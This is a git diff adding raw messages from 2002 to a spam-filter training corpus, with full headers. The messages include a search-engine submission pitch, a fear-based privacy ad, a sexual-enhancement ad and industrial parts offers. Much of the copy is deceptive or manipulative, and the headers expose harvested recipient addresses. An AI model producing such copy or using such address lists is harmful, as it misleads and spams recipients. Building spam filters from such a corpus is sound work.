    Regal Telecom +offers." Mari Posas Cancer +Clinic.
    +
     
    +
    "We +never received a single inquiry until we used Regal Telecom" noniuk.co.uk
    +
     
    +
     
    +
    To +submit your web site all we need is your web site and  e-mail +address.
    +
     
    +
    We will do the +rest!
    +
     
    +
    Once we have submitted +your web site you will receive a dramatic response by e-mail from search engines +around the world confirming that you are listed on +them.
    +
     
    +
     This will happen every month for the next +year!
    +
     
    +
    To Book +our Service Simply
    +
    PRESS this
    + +
     
    +
    Button and we can +begin submitting your web site to the worlds search engines +today!
    +
    Then be ready for +the response!
    +
     
    +
    Within 24 hours your +web site will begin to be submitted to over 350 search engines world wide and +every month
    +
     thereafter for +the next year.
    +
     
    +
    The results will astound you!
    +
     
    +
    Most +of your competition are unaware of the facts below!
    +
    This is to YOUR +Advantage!
    +
     
    +
     
    +
    Web Site +Facts
    +
    Remember "The Yellow +Pages" Rule! 
    +
     A +search engine is like an enormous "yellow pages" with thousands of companies +advertising the same product.  Unless you are near the front of the +listing your chances of a customer actually seeing you is remote.  +Unlike a literal yellow pages there +is a way to move YOU to the front and also get you on all of the "Yellow pages" +in the world.
    +
     
    +
    What does it take to be +seen on the
    +
    Search +Engines?
    +
     
    +
    Appreciate the Three Golden Rules
    +

    q Search engines do not pull up the web sites at random +they use a specific method of search. Those that know them are the ones at the +top, those that do not are buried at the +bottom! 

    +

    q Your web site must be submitted to the search +engines every month otherwise your site gets pushed off (Its a bit like a +Ferris wheel, you get on and then after a while you are taken off unless +you +get another ticket and get back on).

    +

    q Understand the importance of Keywords, Meta tags, and Titles +employed when submitting your site to the search +engines! 

    +

    Use the right ones +and you go up.

    +

    Get it +wrong and you go to the bottom!

    +
    Some feel that it is enough to be on the large +search engines.
    +
    Wrong! The problem is because of their sheer size most web sites get +buried.  Having your web site professionally submitted can boost you up the +listings of these larger search engines, so you can be found on them.  Also +many people use the smaller search engines and if your site is professionally +submitted your chances of getting to the top are greatly increased. +
    +
     
    +
    It is +essential to be on them!
    +
     
    +
    Having +Regal Telecom expertly submit your web site every month to +worlds search engines will give YOU +the Advantage you +need. 
    +
     This can make the difference between new customers +
    +
    FINDING your web site or +NOT!
    +
     
    +
    Be +on ALL of these
    +
    Search +Engines
    +
     Excite, Altavista, Google, Hotboot, +WhatUseek, Lycos, WebCrawler, NorthernLight, DirectHit, AlltheWeb, Pepesearch, +Searchit, 
    +
    http://search.yell.co.uk   UK Directory +http://www.yell.co.uk/yell/web/index.html
    http://www.ukdirectory.com UK Plus http://www.ukplus.co.uk
    UK Web TheBrit Index +Media UK The UK Web Library http://www.scit.wlv.ac.uk UK Yellow Web  Whatsnew http://www.whatsnew.com/uk http://yacc.co.uk/britind
    Demon Site of Sites +    http://www.brains.demon.co.ukm +http://www.mediauk.com/directory LookSmart http://www.looksmart.co.ukUK Cybersearch
    http://www.cybersearch.co.uk UK/Ireland UK & Ireland http://www.altavista.telia.com
    Austria +Austrian Internet  Directory http://www.aid.co.at Intersearch
    http://austria.intersearch.net Advalvas Yellow Pages http://yellow.advalvas.be
    Le trouv'tout +http://www2.ccim.be Webwatch http://webwatch.be Czech Republic
    CZECH Info Center     http://www.icml.com Seznam http://www.seznam.cz Denmark
    Dansk Web Index     http://www.web-index.dk Jubii http://www.jubii.dk France Carrefour
    http://www.carrefour.net CNRS http://www.cnrs.fr ECILA http://www.ecila.frECHO http://www.echo.fr France Excite http://fr.excite.com Lokace http://lokace.iplus.fr Nomade http://www.nomade.fr Voila
    http://www.voila.fr Wanadoo http://www.wanadoo.fr Germany Aladin http://www.aladin.de
    AllesKlar http://www.allesklar.de  Crawler http://www.crawler.de
    DINO-Online http://dino-online.de Excite Deutschland http://www.excite.de
    Fireball Express +http://www.fireball.de Flix http://www.flix.de Hit-Net http://hit-net.de
    Hotlist http://www.hotlist.de Inter-Fux http://www.inter-fux.com Intersearch
    http://www.de.intersearch.net Suchen http://www.suchen.de Lotse
    + +
    Spain ELCANO http://www.elcano.com   Trovator http://trovator.combios.es +
    LATIN  AMERICA Argentina DNA Index http://www.iwcc.com Fiera http://www.fiera.com
    GauchoNet http://www.gauchonet.com Bolivia Bolivia Web http://www.boliviaweb.com
    Chile Chile Business +Directory http://www.chilnet.cl Colombia Indexcol http://www.indexcol.com Que Hubo (The  Colombian Yellow  Pages http://www.quehubo.com Costa Rica Info Costa Rica http://www.info.co.cr Mexico
    Mexico Web Guide     http://www.mexico.web.com.mx SBEL http://rtn.net.mx/sbel
    YUPI http://www.yupi.com Venezuela Auyantepui http://www.auyantepuy.com
    Venezuela Online +http://www.venezuelaonline.com Yuada http://www.yuada.com.ve
    NORTH  AMERICA +Canada infoProbe http://www.infoprobe.net Maple Square
    http://maplesquare.com Sympatico Hungary Heureka http://www.heureka.hungary.com
    Italy Ragno +Italiano http://ragno.plugit.net Search in Italy http://www2.crs4.it:8080
    ShinySeek http://www.shinyseek.it Netherlands de Internet Gids http://www.markt.nl
    Ilse http://www.ilse.nl Search.NL http://www.search.nl  SURFnet http://www.nic.surfnet.nl
    Norway Eunet Norge +http://www.eunet.no Nettvik http://nettvik.no ORIGO
    http://www.origo.no SOL Kvasir http://kvasir.sol.no Slovakia
    KIO     http://www.kio.sk Slovenia Slovenia Resources http://www.ijs.si/slo/resources
    Sweden Excite +Sverige http://se.excite.com Lycos Sverige
    http://www.lycos.se Switzerland HEUREKA http://www.heureka.ch Netguide
    http://www.netguide.ch Schweizer Home-page  Directory http://swisspage.ch
    Swisscom http://www.swisscom.ch Swiss FirmIndex Online http://www.firmindex.ch
    Swiss Web http://www.web.ch The Blue Window http://www.bluewin.ch Webdo
    http://www.webdo.ch Turkey Dost Net Turish Web  Sites Directory http://www.dost.net
    Yugoslavia Yu Search http://www.yusearch.com MIDDLE  EAST Isreal Maven http://www.maven.co.il Sivuv http://www.sivuv.co.il Start http://www.start.co.il
    WALLA http://www.walla.co.il AFRICA Regional Africa Online http://www.africaonline.com
    WoYaa!m http://www.woyaa.com South Africa Ananzi http://pub01.ananzi.co.za South Africa Online http://www.southafrica.co.za ASIA
    PACIFIC Regional Asia Internet Plaza      http://www.asia-info.com AsianNet http://www.asiannet.com Asia Online http://www.asiadragons.com Asiaville
    http://www.asiaville.com GlobePage http://www.globepage.com SEA Quest http://seaquest.kusza.edu.my Search Dragon http://www.searchdragon.com
    South Asian Milan +http://www.samilan.com Australia AAA Matilda http://www.aaa.com.au
    Alta Vista http://altavista.yellowpages.com.au Australia/New  Zealand Anzwers
    http://www.anzwers.com.au Australia Aussie.com.au http://www.aussie.com.au
    The Australian +Internet  Directory http://203.17.138.111/taid The Australian Yellow
    Pages     http://www.yellowpages.com.au LookSmart http://www.looksmart.com.au
    Australian +Internet  Directories http://www.sofcom.com/directories
    Search +Australia http://www.cowleys.com.au Telstra http://www.telstra.com.au
    Web Wombat +    http://www.webwombat.com.au Hong Kong Hong Kong Internet  Directory
    http://www.internet-directory.com Hong KongWorld Wide
    Web Database     http://mmlab.csc.cuhk.edu.hkn Timway Hong Kong  Search Engine
    http://www.hksrch.com/searchengine.html India 123India http://www.123india.com
    Khoj http://www.khoj.com Indonesia IndonesiaNet http://www.indonesianet.com/search.htm
    Japan +Dragon Next http://dragon.co.jp Hole-in-One (Excite  Japan) +http://hole-in-one.com/hio InfoNavigator http://infonavi.infoweb.or.jp Mondou http://zagato.kuamp.kyoto-u.ac.jp Orions http://www.orions.ad.jp Stellar http://www.stellar.co.jp Watch
    http://www.watch.impress.co.jp Korea Oomph! http://www.oomph.net Malaysia   Informative Malaysia http://www.infomal.com.my Malaysia Search Engine http://www.cari.com.my
    New Zealand Access New +Zealand http://accessnz.co.nz Search http://www.searchnz.co.nz
    Singapore Singapore +Unified  Internet Directory http://edge.com.sgSurfer's Edge
    http://surferes.edge.com.sg
     +
    And +Many More!
    +

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@@ -0,0 +1,627 @@ +From mintformer@yahoo.com.hk Fri Jul 26 06:42:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BF5E4440E7 + for ; Fri, 26 Jul 2002 01:41:47 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 06:41:47 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6Q5cn426711 for + ; Fri, 26 Jul 2002 06:38:51 +0100 +Received: from mfnb01 (awork009023.netvigator.com [203.198.119.23]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6Q5bQp25357 for + ; Fri, 26 Jul 2002 06:37:34 +0100 +Date: Fri, 26 Jul 2002 06:37:34 +0100 +Received: from tcts by sky.seed.net.tw with SMTP id + gcBxjIoci1R85fGPIWMJY6kc; Fri, 26 Jul 2002 13:32:42 +0800 +Message-Id: +From: sales@filmcapacitor-st.com +To: PURCHASING@netnoteinc.com +Subject: Filter Film Capacitor +MIME-Version: 1.0 +X-Mailer: guSNkATxxis4eMSP7EFMnNTcbQal +X-Priority: 3 +X-Msmail-Priority: Normal +Content-Type: multipart/mixed; boundary="----=_NextPart_w06gnvwSMBJCZhhJJKsn0sSgc1kn" + +This is a multi-part message in MIME format. + +------=_NextPart_w06gnvwSMBJCZhhJJKsn0sSgc1kn +Content-Type: multipart/alternative; + boundary="----=_NextPart_w06gnvwSMBJCZhhJJKsn0sSgc1knAA" + + +------=_NextPart_w06gnvwSMBJCZhhJJKsn0sSgc1knAA +Content-Type: text/plain; +Content-Transfer-Encoding: quoted-printable + +To : Engineering and Purchasing Manager, + +We would like to take this chance to introduce our new series of Capacitor : +Filter Capacitor + +Application : +-High Frequency and Current AC, DC filter circuit; EMC Filter application + +Electrical Characteristic : +-Capacitance : customer design +-Tol : =A1=D310%, =A1=D35% at 23=A2J 1kHz +-Voltage : customer designed, AC & DC is available +-Testing Voltage : 1.3 x Un 60sec (can be customer design)=A1V DC application + : According to EN132400 =A1V AC application +-Low ESR and ESL +-High Current carrying capacity +-Temperature range : -55 ~ 85=A2J (full voltage rating) + +Should you have any inquiries, please do not hesitate to contact us. Quotation and samples will be sent upon request. Thanks for your kind attention and look forward to hearing from you soon. + +Best Regards, +Goman Siu +Hong Kong Film Capacitor (Shun Tai) Co Ltd +1/F, Po Yip St, 23 Hing Yip St, Kwun Tong, Hong Kong +Tel:852-27958795 +Fax:852-27958189 +http://www.filmcapacitor-st.com +gomansiu@filmcapacitor-st.com + + +We apologize for any inconvenience cause by this e-mail. +If you would like to be removed from our mailing list, please reply this mail with "unsubscribe+ your e-mail address" in the Subject. + +------=_NextPart_w06gnvwSMBJCZhhJJKsn0sSgc1knAA-- + +------=_NextPart_w06gnvwSMBJCZhhJJKsn0sSgc1kn +Content-Type: application/octet-stream; + name="J:\Shun Tai-Cap\Filter Cap.JPG" +Content-Transfer-Encoding: base64 +Content-Disposition: attachment; + filename="Filter Cap.JPG" + +/9j/4AAQSkZJRgABAQEASABIAAD/4Re0RXhpZgAASUkqAAgAAAALAA4BAgAgAAAAkgAAAA8BAgAY +AAAAsgAAABABAgAMAAAAygAAABIBAwABAAAAAQAAABoBBQABAAAA2AAAABsBBQABAAAA4AAAACgB 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0000000..2ea019e --- /dev/null +++ b/bayes/spamham/spam_2/01098.4ea844b47fbe9b09a9cb7bbdb96ed3dc @@ -0,0 +1,89 @@ +From pitster269304417@hotmail.com Fri Jul 26 06:55:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BD97D440E7 + for ; Fri, 26 Jul 2002 01:55:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 06:55:31 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6Q5rO427296 for + ; Fri, 26 Jul 2002 06:53:26 +0100 +Received: from ns.semor.com.tr ([212.45.76.76]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6Q5qGp25388 for + ; Fri, 26 Jul 2002 06:52:28 +0100 +Received: from 61.140.72.66 ([61.140.72.66]) by ns.semor.com.tr + (8.8.7/8.8.7) with SMTP id HAA22755; Fri, 26 Jul 2002 07:52:59 -0400 +From: pitster269304417@hotmail.com +Message-Id: <200207261152.HAA22755@ns.semor.com.tr> +To: lsb36@uswest.net, lebaillif@address.com, abc2610@hotmail.com, + bgrahamd@hotmail.com, enterprises@mho.net, bammbamm20@hotmail.com, + dgladson@msn.com, tommycat00@hotmail.com, lblickem@hotmail.com, + euro93@aol.com, giladekel@globalserve.net +Cc: travis.r.greatorex@valley.net, mandy_10@hotmail.com, + ab93@juno.com +Date: Fri, 26 Jul 2002 01:39:35 -0400 +Subject: Hello lsb36 ! PERSONAL PRIVACY IS JUST A CLICK AWAY +MIME-Version: 1.0 +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Content-Transfer-Encoding: 7bit +Content-Type: text/html; charset=us-ascii + +Dear lsb36 , + + + +

    YOUR INTERNET USAGE IS BEING TRACKED
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    + + + + [*TG0B] + + + diff --git a/bayes/spamham/spam_2/01099.f33c6cb5a233f19e1dc1956871c50681 b/bayes/spamham/spam_2/01099.f33c6cb5a233f19e1dc1956871c50681 new file mode 100644 index 0000000..f09d3d6 --- /dev/null +++ b/bayes/spamham/spam_2/01099.f33c6cb5a233f19e1dc1956871c50681 @@ -0,0 +1,73 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6PKqXi5012305 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Thu, 25 Jul 2002 15:52:33 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6PKqXpQ012294 + for cypherpunks-forward@ds.pro-ns.net; Thu, 25 Jul 2002 15:52:33 -0500 (CDT) +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6PKqGi4012203 + for ; Thu, 25 Jul 2002 15:52:31 -0500 (CDT) + (envelope-from cpunks@einstein.ssz.com) +X-Authentication-Warning: hq.pro-ns.net: Host cpunks@[207.200.56.4] claimed to be einstein.ssz.com +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id QAA02438 + for cypherpunks@ds.pro-ns.net; Thu, 25 Jul 2002 16:01:12 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id QAA02419 + for cypherpunks-outgoing; Thu, 25 Jul 2002 16:00:49 -0500 +Received: from boserver.brooksoil (boserver.brooksoil.com [209.179.111.67]) + by einstein.ssz.com (8.8.8/8.8.8) with ESMTP id QAA02387; + Thu, 25 Jul 2002 16:00:26 -0500 +Received: from eumailbox.mail.spray.net (207.249.181.126 [207.249.181.126]) by boserver.brooksoil with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) + id PQFL9V4B; Thu, 25 Jul 2002 15:41:21 -0500 +Message-ID: <000013d9372a$00004fb4$000073ed@ananzi01.mx.smtphost.net> +To: +From: "Cristine Person" +Subject: Take your love life to the next level ZIB +Date: Thu, 25 Jul 2002 15:07:01 -1600 +MIME-Version: 1.0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable +X-Priority: 1 +X-Msmail-Priority: High +X-Mailer: Internet Mail Service (5.5.2653.19) +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish + + + + + + A man endowed with a 7-8" hammer is simply
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    Come in here and see how + + + + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01100.3db9aa127f49e790a5f2765a8f9724f2 b/bayes/spamham/spam_2/01100.3db9aa127f49e790a5f2765a8f9724f2 new file mode 100644 index 0000000..9bbc419 --- /dev/null +++ b/bayes/spamham/spam_2/01100.3db9aa127f49e790a5f2765a8f9724f2 @@ -0,0 +1,58 @@ +From taxfree7550288@yahoo.com Fri Jul 26 08:16:45 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 54B34440E7 + for ; Fri, 26 Jul 2002 03:16:45 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 08:16:45 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6Q7Ed431609 for + ; Fri, 26 Jul 2002 08:14:39 +0100 +Received: from www1.dpn.com.cn ([211.93.107.250]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6Q7Drp25556 for + ; Fri, 26 Jul 2002 08:13:54 +0100 +Received: from 200.189.73.218 ([200.189.73.218]) by www1.dpn.com.cn + (8.9.3+Sun/8.9.3) with SMTP id PAA07966; Fri, 26 Jul 2002 15:02:01 +0800 + (CST) +From: taxfree7550288@yahoo.com +Message-Id: <200207260702.PAA07966@www1.dpn.com.cn> +To: atna427@aol.com +Cc: khegji@hotmail.com, potter@usask.ca, royqian@hotmail.com, + hzppby@yahoo.com, larry_cline@address.com, chungyin@hkstar.com, + u46491@bestnet.net, bdevenow@hotmail.com, suprempurg@aol.com, + jpkielty@nameplanet.com +Date: Fri, 26 Jul 2002 03:07:46 -0400 +Subject: Sickest Bitches. +MIME-Version: 1.0 +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +X-Precedence-Ref: l234056789zxcvbnmlkjhgfq +Content-Transfer-Encoding: 7bit +Content-Type: text/html; charset=us-ascii + + + + + + +

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    +

    =============================================================
    To be +removed from our "in house" mailing list CLICK HERE
    and you +will automatically be removed from future mailings.

    You have received +this email by either requesting more information
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    If you received this email in +error, please accept our +apologies.
    =============================================================

    + + + diff --git a/bayes/spamham/spam_2/01101.6be2b8888ba7eda6f05de43c4c2cf152 b/bayes/spamham/spam_2/01101.6be2b8888ba7eda6f05de43c4c2cf152 new file mode 100644 index 0000000..5be1e25 --- /dev/null +++ b/bayes/spamham/spam_2/01101.6be2b8888ba7eda6f05de43c4c2cf152 @@ -0,0 +1,127 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6Q0nti5005396 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Thu, 25 Jul 2002 19:49:55 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6Q0ntSi005385 + for cypherpunks-forward@ds.pro-ns.net; Thu, 25 Jul 2002 19:49:55 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6Q0nbi5005250 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Thu, 25 Jul 2002 19:49:38 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6Q0nbJ21294 + for ; Thu, 25 Jul 2002 20:49:37 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6Q0naC24169 + for cypherpunks@ds.pro-ns.net; Thu, 25 Jul 2002 20:49:36 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6Q0nZR24145 + for ; Thu, 25 Jul 2002 20:49:35 -0400 +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6Q0nYJ21278 + for ; Thu, 25 Jul 2002 20:49:34 -0400 (EDT) + (envelope-from cpunks@ssz.com) +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id TAA08402 + for cpunks@minder.net; Thu, 25 Jul 2002 19:58:46 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id TAA08390 + for cypherpunks-outgoing; Thu, 25 Jul 2002 19:58:39 -0500 +Received: from hotmail.com ([200.253.27.190]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id TAA08381 + for ; Thu, 25 Jul 2002 19:58:22 -0500 +From: dino9gu@hotmail.com +Received: from unknown (HELO mta21.bigpong.com) (147.242.167.234) + by da001d2020.loxi.pianstvu.net with QMQP; Fri, 26 Jul 0102 15:57:09 -0400 +Received: from unknown (HELO rly-xr01.nihuyatut.net) (77.57.98.212) + by sparc.zubilam.net with SMTP; Fri, 26 Jul 0102 11:50:21 -0100 +Received: from [12.32.122.118] by smtp-server1.cflrr.com with esmtp; Fri, 26 Jul 0102 10:43:33 -1000 +Message-ID: <013c67b83b2b$1826d7d5$0eb45cb0@fxwglb> +To: Friend@einstein.ssz.com +Old-Subject: CDR: Is ANY of this stuff TRUE?!?! +Date: Fri, 26 Jul 0102 04:37:21 -0400 +MiME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +X-Priority: 3 (Normal) +X-MSMail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.50.4133.2400 +Importance: Normal +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish +Subject: Is ANY of this stuff TRUE?!?! + + + + +
    + + + +
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    =================================================================

    +

    To be removed from our mailing list, please mailto:defglass@excite.com?subject=REMOVE +and your request will be honored immediately. Thanks.
    +============================

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Fri, 26 Jul 2002 06:20:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 11:20:14 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6QAKN408440 for + ; Fri, 26 Jul 2002 11:20:23 +0100 +Received: from smtp.easydns.com (smtp.easydns.com [205.210.42.30]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6QAJdp26011 for + ; Fri, 26 Jul 2002 11:19:39 +0100 +Received: from 163.com (unknown [218.6.8.11]) by smtp.easydns.com + (Postfix) with SMTP id D7F972FCC0 for ; Fri, + 26 Jul 2002 06:19:35 -0400 (EDT) +From: "diesel fuel injection" +To: +Subject: Head & Rotor VE 07/26 +Sender: "diesel fuel injection" +MIME-Version: 1.0 +Content-Type: text/plain; charset="ISO-8859-1" +Date: Fri, 26 Jul 2002 18:19:19 +0800 +Reply-To: "diesel fuel injection" +X-Priority: 1 (Highest) +Message-Id: <20020726101935.D7F972FCC0@smtp.easydns.com> +Content-Transfer-Encoding: 8bit + +Dear Sir, + + *¡°ÖзͨÅä¼þ³§¡±×¨ÒµÉú²úVE±ÃÍ·(VE·ÖÅä±Ã±ÃÍ·×ܳÉ),Ö÷ÒªÐͺÅÓÐ + ÎåÊ®Áå4JB1,¿µÃ÷˹6BT,ÒÀά¿ÂµÍÅÅ·Å,ÎåÊ®ÁäƤ¿¨..... + + + + * ÖзͨÅä¼þ³§ÓжàÄêÉú²úVE±ÃÍ·µÄ¾­Ñé, ×÷Ϊ½ÏÔç½øÈëÓͱÃÓÍ×ìÐÐ + ÒµµÄרҵ³§,ÎÒÃÇʱ¿Ì¸ú×Ù¹ú¼Ê¸÷µØÆäËü²ñÓÍȼÓÍÅçÉäϵͳµÄÖÆ + ÔìÉ̵ÄÉú²ú¹¤ÒÕ,²¢ÇÒ²»¶ÏÎüÊÕ¹ú¼ÊÉÏ×îÏȽøµÄ¼Ó¹¤,²âÊÔ¹¤.²úÆ·µÄ + ÖÊÁ¿ºÍÍâ¹Ûͬ¹úÍâͬÀà²úÆ·Ï൱. + + * Èç¶ÔÎÒÃǵIJúÆ·¸ÐÐËȤ,Çë֪ͨÎÒÃÇ. + + + + + + we have been in the field of diesel fuel injection +systems for quite a few years.(CHINA) + + We tell you that we will update our VE h&r +(hydraulic heads for the VE distributor pump) list in our + +homepages.Thirty more models will be added.And the minimum +order will be 6pcs a model.We quote them as follows: +3-cyl:USD:50/1pcs +4-cyl:USD:50/1pcs +5-cyl:USD:55/1pcs +6-cyl:USD:55/1pcs + + We can ship the following three models to you within 8~10 weeks. after +we receive your payment. + If you feel interested in our products,please advise the details about +what you need,such model name,part number,quantity and so on.We are always +within your touch. + Looking forward to our favorable cooperation. + Hope to hear from you soon. +(NIPPON DENSO) +096400-0920 +096400-0143 +096400-0242 +096400-0371 +096400-0432 +096400-1030 +096400-1210 +096400-1230 +096400-1240 +096400-1250 +096400-1330 +096400-1331 +096400-1600 +096540-0080 +(ZEXEL) +146400-8821 +145400-3320 +146400-4520 +146400-8821 +146400-9720 +146401-0520 +146401-2120 +146402-0820 +146402-0920 +146403-2820 +146402-3820 +146402-4020 +146402-4320 +146403-3120 +146403-3520 +146404-1520 +146404-2200 +146430-1420 +(BOSCH) +1 468 333 320 +1 468 333 323 +1 468 334 313 +1 468 334 327 +1 468 334 337 +1 468 334 378 +1 468 334 475 +1 468 334 496 +1 468 334 565 +1 468 334 575 +1 468 334 580 +1 468 334 590 +1 468 334 594 +1 468 334 595 +1 468 334 596 +1 468 334 603 +1 468 334 604 +1 468 334 606 +1 468 334 666 +1 468 334 675 +1 468 334 720 +1 468 334 780 +1 468 334 798 +1 468 334 874 +1 468 334 899 +1 468 334 946 +2 468 334 021 +2 468 334 050 +2 468 335 022 +1 468 335 345 +2 468 336 013 +1 468 336 352 +1 468 336 364 +1 468 336 371 +1 468 336 403 +1 468 336 418 +1 468 336 423 +1 468 336 464 +1 468 336 480 +1 468 336 614 +1 468 336 626 + + + + + C.Hua + +Sales & purchasing director +http://WWW.China-LuTon.com +china_lutong@163.com + + diff --git a/bayes/spamham/spam_2/01105.2582a4afba9b0b06bed5d48e3e8b29df b/bayes/spamham/spam_2/01105.2582a4afba9b0b06bed5d48e3e8b29df new file mode 100644 index 0000000..89df125 --- /dev/null +++ b/bayes/spamham/spam_2/01105.2582a4afba9b0b06bed5d48e3e8b29df @@ -0,0 +1,149 @@ +From china_lutong@163.com Fri Jul 26 11:20:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7635A440EB + for ; Fri, 26 Jul 2002 06:20:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 11:20:14 +0100 (IST) +Received: from 163.com ([218.6.8.11]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g6QAKM408438 for ; + Fri, 26 Jul 2002 11:20:23 +0100 +Message-Id: <200207261020.g6QAKM408438@dogma.slashnull.org> +From: "diesel fuel injection" +To: +Subject: Head & Rotor VE 07/26 +Sender: "diesel fuel injection" +MIME-Version: 1.0 +Content-Type: text/plain; charset="ISO-8859-1" +Date: Fri, 26 Jul 2002 18:19:23 +0800 +Reply-To: "diesel fuel injection" +X-Priority: 1 (Highest) +Content-Transfer-Encoding: 8bit + +Dear Sir, + + *¡°ÖзͨÅä¼þ³§¡±×¨ÒµÉú²úVE±ÃÍ·(VE·ÖÅä±Ã±ÃÍ·×ܳÉ),Ö÷ÒªÐͺÅÓÐ + ÎåÊ®Áå4JB1,¿µÃ÷˹6BT,ÒÀά¿ÂµÍÅÅ·Å,ÎåÊ®ÁäƤ¿¨..... + + + + * ÖзͨÅä¼þ³§ÓжàÄêÉú²úVE±ÃÍ·µÄ¾­Ñé, ×÷Ϊ½ÏÔç½øÈëÓͱÃÓÍ×ìÐÐ + ÒµµÄרҵ³§,ÎÒÃÇʱ¿Ì¸ú×Ù¹ú¼Ê¸÷µØÆäËü²ñÓÍȼÓÍÅçÉäϵͳµÄÖÆ + ÔìÉ̵ÄÉú²ú¹¤ÒÕ,²¢ÇÒ²»¶ÏÎüÊÕ¹ú¼ÊÉÏ×îÏȽøµÄ¼Ó¹¤,²âÊÔ¹¤.²úÆ·µÄ + ÖÊÁ¿ºÍÍâ¹Ûͬ¹úÍâͬÀà²úÆ·Ï൱. + + * 